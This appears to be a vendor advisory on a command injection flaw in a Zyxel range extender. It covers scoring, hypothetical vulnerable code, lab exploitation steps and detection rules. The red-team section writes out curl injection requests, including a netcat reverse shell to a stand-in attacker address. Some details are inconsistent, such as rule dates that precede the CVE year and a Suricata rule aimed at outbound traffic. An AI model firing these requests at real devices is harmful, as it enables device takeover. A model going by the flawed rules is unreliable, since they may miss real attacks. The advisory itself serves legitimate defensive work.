CVE-2026-7256

Executive Summary

CVE-2026-7256 is a critical command injection vulnerability in the Zyxel WRE6505 v2 range extender, specifically in firmware version V1.00(ABDV.3)C0. The flaw resides in the CGI program, allowing an adjacent attacker on the local area network (LAN) to execute arbitrary operating system commands by sending a crafted HTTP request. With a CVSS score of 8.8, this vulnerability poses a severe risk to network integrity and confidentiality. The product is marked as "UNSUPPORTED WHEN ASSIGNED," meaning Zyxel will not release a patch, leaving all devices running this firmware permanently vulnerable. No public proof-of-concept (PoC) or exploit code has been released at this time.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be on the same LAN as the vulnerable device.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality (C): High (C:H) – Full disclosure of device data.
• Integrity (I): High (I:H) – Full compromise of device integrity.
• Availability (A): High (A:H) – Full denial of service possible.

Threat Level: Critical. The combination of low attack complexity, no authentication, and high impact makes this a prime target for botnets and ransomware groups targeting IoT devices.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78) in the CGI binary of the Zyxel WRE6505 v2. The CGI program likely takes user-supplied input from HTTP parameters (e.g., in the query string or POST body) and passes it unsanitized to a system-level function such as system(), popen(), or exec().

Attack Flow:

1. The attacker discovers the device on the LAN (e.g., via ARP scanning or Shodan).
2. The attacker sends a crafted HTTP request to the device's web interface, targeting a vulnerable CGI endpoint.
3. The CGI program concatenates the attacker's input into a command string without proper escaping.
4. The command is executed with the privileges of the web server (typically root on embedded devices).
5. The attacker gains full control of the device.

Example vulnerable code pattern (pseudo):

char cmd[256];
snprintf(cmd, sizeof(cmd), "ping -c 1 %s", user_input);
system(cmd);

If user_input is 127.0.0.1; ls -la, the executed command becomes ping -c 1 127.0.0.1; ls -la, allowing arbitrary command execution.

Vulnerable vs. Patched Code

Since the product is End-of-Life (EOL) and no patch is available, there is no patched code to compare. The vulnerable code is present in the firmware version V1.00(ABDV.3)C0. Users are advised to replace the device.

Vulnerable Code (hypothetical):

// cgi_handler.c
void handle_ping(char *ip) {
    char command[256];
    sprintf(command, "ping -c 4 %s", ip);
    system(command);
}

Patched Code (not available):

// cgi_handler.c (hypothetical fix)
void handle_ping(char *ip) {
    // Validate input: only allow IP addresses
    if (!is_valid_ip(ip)) {
        return_error("Invalid IP");
        return;
    }
    char command[256];
    snprintf(command, sizeof(command), "ping -c 4 %s", ip);
    system(command);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Zyxel WRE6505 v2 device or use a firmware emulator (e.g., QEMU with the extracted firmware).
2. Flash firmware version V1.00(ABDV.3)C0.
3. Connect the device to a local network (e.g., 192.168.1.0/24).
4. Identify the device IP (e.g., 192.168.1.100).

Exploitation Steps:

1. Identify the vulnerable CGI endpoint (e.g., /cgi-bin/ping or /cgi-bin/diagnostics).
2. Craft an HTTP request with command injection:

   curl -X GET "http://192.168.1.100/cgi-bin/ping?ip=127.0.0.1;id"
   

3. Observe the response for command output (e.g., uid=0(root)).
4. Establish a reverse shell:

   curl -X GET "http://192.168.1.100/cgi-bin/ping?ip=127.0.0.1;nc%20-e%20/bin/sh%20ATTACKER_IP%204444"
   

   (URL-encoded spaces and special characters)

Note: No public exploit code is available; this is a hypothetical exploitation scenario.

Blue Team

Detection Steps:

1. Monitor HTTP requests to the device for unusual parameters containing shell metacharacters (;, |, &, $, `).
2. Look for outbound connections from the device to unusual IPs/ports (e.g., reverse shell attempts).
3. Check for unexpected processes spawned by the web server (e.g., ping, nc, bash).
4. Use network segmentation to isolate IoT devices from critical assets.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /cgi-bin/ endpoints with parameters containing shell metacharacters.
  • Outbound connections from the device to IPs on non-standard ports (e.g., 4444, 1337).
  • Unusual DNS queries from the device (e.g., to known C2 domains).

• Host IOCs:

  • Unexpected processes: ping, nc, bash, sh, python, perl.
  • Modified system binaries or scripts in /tmp or /var.
  • New cron jobs or startup scripts.

• File IOCs:

  • Presence of files like /tmp/.revshell or /tmp/exploit.sh.

Detection Engineering

YARA Rule

rule CVE_2026_7256_Zyxel_WRE6505_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Zyxel WRE6505 v2"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-7256"
    strings:
        $cmd1 = "ping -c" ascii wide nocase
        $cmd2 = "system(" ascii wide nocase
        $cmd3 = "popen(" ascii wide nocase
        $cmd4 = "exec(" ascii wide nocase
        $shell = ";" ascii wide
        $pipe = "|" ascii wide
        $backtick = "`" ascii wide
    condition:
        any of ($cmd*) and any of ($shell, $pipe, $backtick)
}

Sigma Rule

title: CVE-2026-7256 Zyxel WRE6505 Command Injection Attempt
id: 8f4b3c2a-1d5e-4f7a-9b0c-3e2d1a4f6b8c
status: experimental
description: Detects HTTP requests with command injection patterns targeting Zyxel WRE6505 v2
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - "/cgi-bin/"
        cs-uri-query|contains:
            - ";"
            - "|"
            - "`"
            - "$("
    condition: selection
falsepositives:
    - Legitimate use of special characters in parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-7256 Zyxel WRE6505 Command Injection Attempt"; flow:to_server,established; content:"/cgi-bin/"; http_uri; pcre:"/(;|\||\`|\$\().*$/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Replace the device: Since the product is End-of-Life and no patch is available, the only secure option is to replace the Zyxel WRE6505 v2 with a supported device.
2. Network segmentation: If replacement is not immediately possible, isolate the device on a separate VLAN with strict firewall rules.
3. Disable remote management: Ensure the web interface is not accessible from the internet or untrusted networks.
4. Monitor logs: Enable logging on the device and monitor for suspicious activity.

Long-term Recommendations:

• Implement a policy to replace EOL devices.
• Use network access control (NAC) to prevent unauthorized devices from connecting.
• Regularly audit IoT devices for vulnerabilities.

Valters IT